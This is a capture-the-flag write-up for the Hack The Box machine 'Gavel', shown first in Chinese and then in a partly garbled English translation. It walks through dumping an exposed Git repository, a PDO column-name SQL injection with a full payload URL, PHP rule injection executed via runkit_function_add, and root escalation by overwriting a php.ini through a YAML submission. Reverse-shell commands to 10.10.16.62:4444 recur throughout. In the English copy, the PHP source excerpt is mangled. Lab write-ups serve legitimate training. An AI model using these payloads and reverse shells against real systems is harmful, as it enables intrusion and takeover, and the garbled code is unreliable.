htb gavel
OS:Linux
Medium
Foothold:
Git 泄露 → PDO 列名注入 → 后台 rule 注入 → runkit_function_add RCE
PrivEsc:
gavel-util YAML 注入 → 覆盖 root PHP.ini → 恢复 system() → RCE to root
Recon
# Nmap 7.95 scan initiated Tue Dec 2 23:25:48 2025 as: /usr/lib/nmap/nmap --privileged -Pn -p22,80 -sC -sV -oA ./Recon/10.10.11.97 10.10.11.97
Nmap scan report for gavel.htb (10.10.11.97)
Host is up (0.075s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
|_ 256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
80/tcp open http Apache httpd 2.4.52
| http-git:
| 10.10.11.97:80/.git/
| Git repository found!
| .git/config matched patterns 'user'
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: ..
|_http-title: Gavel Auction
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Dec 2 23:25:59 2025 -- 1 IP address (1 host up) scanned in 10.82 seconds
Web
git-dumper [http://gavel.htb/.git](http://gavel.htb/.git) git_gavel
查看源代码时,发现inventory.php中有sql注入,可以查看此文章
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
$itemMap = [];
$itemMeta = $pdo->prepare("SELECT name, description, image FROM items WHERE name = ?");
try {
if ($sortItem === 'quantity') {
$stmt = $pdo->prepare("SELECT item_name, item_image, item_description, quantity FROM inventory WHERE user_id = ? ORDER BY quantity DESC");
$stmt->execute([$userId]);
} else {
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
$stmt->execute([$userId]);
}
$results = $stmt->fetchAll(PDO::FETCH_ASSOC);
我们通过burp得到
POST /inventory.php HTTP/1.1
Host: gavel.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
Origin: http://gavel.htb
Connection: keep-alive
Referer: http://gavel.htb/inventory.php
Cookie: gavel_session=v1euet2s3gtbaa50s4b1ganied
Upgrade-Insecure-Requests: 1
Priority: u=0, i
user_id=6&sort=quantity
其中$col对应的是sort。
最终payload
http://gavel.htb/inventory.php?user_id=x`%20FROM%20(SELECT%20table_name%20AS%20`%27x`%20FROM%20information_schema.tables)y;--%20&sort=\?--%20%00
得到账户密码auctioneer:midnight1
Foothold
继续查看源代码。可以发现
rules:
- rule: "return $current_bid >= $previous_bid * 1.1;"
message: "Bid at least 10% more than the current price."
- rule: "return $current_bid % 5 == 0;"
message: "Bids must be in multiples of 5. Your account balance must cover the bid amount."
- rule: "return $current_bid >= $previous_bid + 5000;"
message: "Only bids greater than 5000 + current bid will be considered. Ensure you have sufficient balance before placing such bids."
该文件是php代码。system(“/bin/bash -c ‘bash -i >& /dev/tcp/10.10.16.62/4444 0>&1’”);
'rule' => $selectedRule['rule'],
'message' => $selectedRule['message']
$selectedRule = $rules['rules'][array_rand($rules['rules'])];
file_put_contents(ROOT_PATH . '/rules/auction_' . $auctionId . '.yaml', yaml_emit($selectedRule));
将写入的rule和message存入/rules/auction_id.yaml文件中(无过滤)
$rule = $auction['rule'];
$rule_message = $auction['message'];
$allowed = false;
try {
if (function_exists('ruleCheck')) {
runkit_function_remove('ruleCheck');
}
runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
error_log("Rule: " . $rule);
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);
其中runkit_function_add()会把参数当作PHP代码运行,关于更多可执行的php函数可以查看这里
所以在admin中我们可以更改rule以便执行代码
rule: system('bash -c "bash -i >& /dev/tcp/10.10.16.62/4444 0>&1"');return true;
message: "pwned"

然后再出一次价格,触发即可
此时就获得了shell
PrivEsc
获得shell后我们使用su auctioneer连接到用户
auctioneer@gavel:~$ id
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)
查看属于组gavel-seller的文件:find / -group 'gavel-seller' 2>/dev/null
- /run/gaveld.sock
- /usr/local/bin/gavel-util
auctioneer@gavel:~$ /usr/local/bin/gavel-util
Usage: /usr/local/bin/gavel-util <cmd> [options]
Commands:
submit <file> Submit new items (YAML format)
stats Show Auction stats
invoice Request invoice
可以知道该命令可以上传一个yaml文件。
查看与之相关的进程
auctioneer@gavel:~$ ps -ef | grep -i gavel
root 936 1 0 10:27 ? 00:00:00 /opt/gavel/gaveld
root 947 1 0 10:27 ? 00:00:28 python3 /root/scripts/timeout_gavel.py
auction+ 15381 6982 0 11:38 pts/0 00:00:00 /usr/local/bin/gavel-util submit /tmp/test000.yaml
root 15382 936 0 11:38 ? 00:00:00 /opt/gavel/gaveld
root 15383 15382 0 11:38 ? 00:00:00 /usr/bin/php -n -c /opt/gavel/.config/php/php.ini -d display_errors=1 -r function __sandbox_eval() {$previous_bid=150;$current_bid=200;$bidder='Shadow21A';system('bash -c "bash -i >& /dev/tcp/10.10.16.62/4444 0>&1"');return true; };$res = __sandbox_eval();if(!is_bool($res)) { echo 'SANDBOX_RETURN_ERROR'; }else if($res) { echo 'ILLEGAL_RULE'; }
auction+ 17815 16196 0 11:50 pts/2 00:00:00 grep -i gavel
可以看到有一个文件/opt/gavel/gaveld
auctioneer@gavel:~$ ls -la /opt/gavel/
total 56
drwxr-xr-x 4 root root 4096 Dec 4 11:40 .
drwxr-xr-x 3 root root 4096 Nov 5 12:46 ..
drwxr-xr-x 3 root root 4096 Nov 5 12:46 .config
-rwxr-xr-- 1 root root 35992 Oct 3 19:35 gaveld
-rw-r--r-- 1 root root 364 Sep 20 14:54 sample.yaml
drwxr-x--- 2 root root 4096 Dec 4 11:40 submission
其中我们可以读取/opt/gavel/.config/php/php.ini。
/usr/local/bin/gavel-util上传的文件可能到submission文件夹gaveld可能执行submission中的.yaml文件。
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once
,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
可以发现大部分函数被禁用
我们先创建一个简单的文件
name: "Test Item"
description: "Test"
image: "https://example.com/test.png"
price: 100
rule_msg: "Test"
rule: file_put_contents('/opt/gavel/test', 'testabcaaa');return true;
auctioneer@gavel:~$ /usr/local/bin/gavel-util submit /tmp/test.yaml
Item submitted for review in next auction

查看文件就是testabcaaa。这证明我们可以修改此文件,所以我们可以修改/opt/gavel/.config/php/php.ini文件。
name: "Test Item"
description: "Test"
image: "https://example.com/test.png"
price: 100
rule_msg: "Test"
rule: |
$config = <<<EOD
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
EOD;
file_put_contents('/opt/gavel/.config/php/php.ini', $config);
return true;
最后再使用下面这样的代码。即可得到root
name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
rule: |
system('bash -c "bash -i >& /dev/tcp/10.10.16.62/4444 0>&1"');return true; htb gavel
OS: Linux
Medium: Medium difficulty level
Initial Steps:
- Git vulnerability exploited to inject PDO column names
- These injected column names were then used to inject backend rules
- This led to the execution of the
runkit_function_addcommand, resulting in a Remote Code Execution (RCE) vulnerability
Privilege Escalation:
- The
gavel-utilYAML file was manipulated to overwrite thephp.inifile - This allowed the attacker to restore the
system()function, enabling further RCE attacks with root privileges.
Reconnaissance:
# Nmap 7.95 scan started on Tuesday, December 2, 23:25:48, 2025:
# Command: `/usr/lib/nmap/nmap --privileged -Pn -p22,80 -sC -sV -oA ./Recon/10.10.11.97 10.10.11.97`
# Nmap scan report for gavel.htb (10.10.11.97):
# Host is online (latency: 0.075 seconds).
Scan Results:
- Port 22 (SSH) is open and running version 8.9p1 of OpenSSH on Ubuntu 3.0.13.
- Port 80 (HTTP) is open and running Apache HTTPd version 2.4.52.
- A Git repository was detected at the path
/.git/. - The repository description indicates it’s an unnamed repository; the
descriptionfile can be edited to provide a name for the repository. - The last commit message is available.
- HTTP server information: Apache/2.4.52 (running on Linux).
Service Detection:
Service detection has been completed. Please report any incorrect results at:
https://nmap.org/submit/
Nmap Scan Summary:
- Nmap scan completed in 10.82 seconds, scanning 1 IP address (1 host found to be online).
Web
git-dumper [http://gavel.htb/.git](http://gavel.htb/.git) git_gavel
While reviewing the source code, an SQL injection vulnerability was identified in the inventory.php file. You can refer to this article for more details.
_POST[‘sort’] ?? userId = _GET[‘user_id’] ?? col = “" . str_replace("”, "", itemMap = [];
pdo->prepare(“SELECT name, description, image FROM items WHERE name = ?”);
try {
if (sortItem === 'quantity') {
stmt = stmt->execute([userId]);
} else {
stmt = col FROM inventory WHERE user_id = ? ORDER BY item_name ASC”);
userId]);
}
stmt->fetchAll(PDO::FETCH_ASSOC);
}
We obtained this code through Burp.
POST /inventory.php HTTP/1.1
Host: gavel.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html, application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
Origin: http://gavel.htb
Connection: keep-alive
Referer: http://gavel.htb/inventory.php
Cookie: gavel_session=v1euet2s3gtbaa50s4b1ganied
Upgrade-Insecure-Requests: 1
Priority: u=0, i
user_id=6&sort=quantity
Here, $col corresponds to the sort parameter.
The final payload used in the attack is:
http://gavel.htb/inventory.php?user_id=x%20FROM%20(SELECT%20table_name%20AS%20`%27x`%20FROM%20information_schema.tables)y;--%20&sort=\?--%20%00
This payload was used to obtain the account password auctioneer:midnight1.
Foothold
Continuing to review the source code, we can observe the following rules:
rules:
- rule: "return $current_bid >= $previous_bid * 1.1;"
message: "Bid at least 10% more than the current price."
- rule: "return $current_bid % 5 == 0;"
message: "Bids must be in multiples of 5. Your account balance must cover the bid amount."
- rule: "return $current_bid >= $previous_bid + 5000;"
message: "Only bids greater than 5000 + the current bid will be considered. Ensure you have sufficient balance before placing such bids."
This file contains PHP code. The following line is used to execute a shell command remotely:
system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.62/4444 0>&1');
The selected rule and its corresponding message are then written to the /rules/auction_id.yaml file (without any filtering):
'rule' => $selectedRule['rule'],
'message' => $selectedRule['message']
$selectedRule = $rules['rules'][array_rand($rules['rules'])];
file_put_contents(ROOT_PATH . '/rules/auction_' . $auctionId . '.yaml', yaml_emit($selectedRule));
The ruleCheck() function is also implemented to verify the submitted bids:
$rule = $auction['rule'];
$rule_message = $auction['message'];
$allowed = false;
try {
if (function_exists('ruleCheck')) {
runkit_function_remove('ruleCheck');
}
runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
error_log("Rule: " . $rule);
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);
The runkit_function_add() function is used to execute the provided parameters as PHP code. For more information on executable PHP functions, refer to here.
Therefore, in the admin interface, we can modify the rules to execute specific commands.
rule: system('bash -c "bash -i >& /dev/tcp/10.10.16.62/4444 0>&1");
message: "pwned"
By submitting a bid that triggers this rule, we can gain access to a shell.
PrivEsc
After obtaining a shell, we use su auctioneer to connect to the user:
auctioneer@gavel:~$ id
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)
To view files belonging to the gavel-seller group, we use the find command:
auctioneer@gavel:~$ find / -group 'gavel-seller' 2>/dev/null
The relevant files found include:
/run/gaveld.sock/usr/local/bin/gavel-util
We examine the /usr/local/bin/gavel-util command utility to understand its usage:
auctioneer@gavel:~$ /usr/local/bin/gavel-util
Usage: /usr/local/bin/gavel-util <cmd> [options]
Commands:
submit <file> Submit new items (YAML format)
stats Show Auction stats
invoice Request invoice
This indicates that the gavel-util command can be used to submit new items in YAML format.
To identify the processes related to the auction system, we run ps -ef and search for the gavel keyword:
auctioneer@gavel:~$ ps -ef | grep -i gavel
Some of the processes related to the auction system include:
/opt/gavel/gaveldpython3 /root/scripts/timeout_gavel.pyauctioner@gavel:~$ /usr/local/bin/gavel-util submit /tmp/test000.yaml/opt/gavel/gaveld/usr/bin/php -n -c ...
We also notice the existence of a file called sample.yaml in the /opt/gavel directory.
It appears that the /usr/local/bin/gavel-util command uploads files to a folder called submission, and the gaveld process may execute the YAML files found in that folder.
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fssockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
It can be seen that most functions have been disabled.
Let's first create a simple file:
```yaml
name: "Test Item"
description: "Test"
image: "https://example.com/test.png"
price: 100
rule_msg: "Test"
rule: file_put_contents('/opt/gavel/test', 'testabcaaa'); return true;
auctioneer@gavel:~$ /usr/local/bin/gavel-util submit /tmp/test.yaml
Item submitted for review in the next auction.

The content of the file is “testabcaaa”, which proves that we can modify it. Therefore, we can edit the /opt/gavel/.config/php/php.ini file.
name: "Test Item"
description: "Test"
image: "https://example.com/test.png"
price: 100
rule_msg: "Test"
rule: |
$config = <<<EOD
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
EOD;
file_put_contents('/opt/gavel/.config/php/php.ini', $config);
return true;
Finally, we can use the following code to obtain root access:
name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "Your bid must be at least 20% higher than the previous bid, and sado is not allowed to buy this item."
rule: |
system('bash -c "bash -i >& /dev/tcp/10.10.16.62/4444 0>&1"'); return true;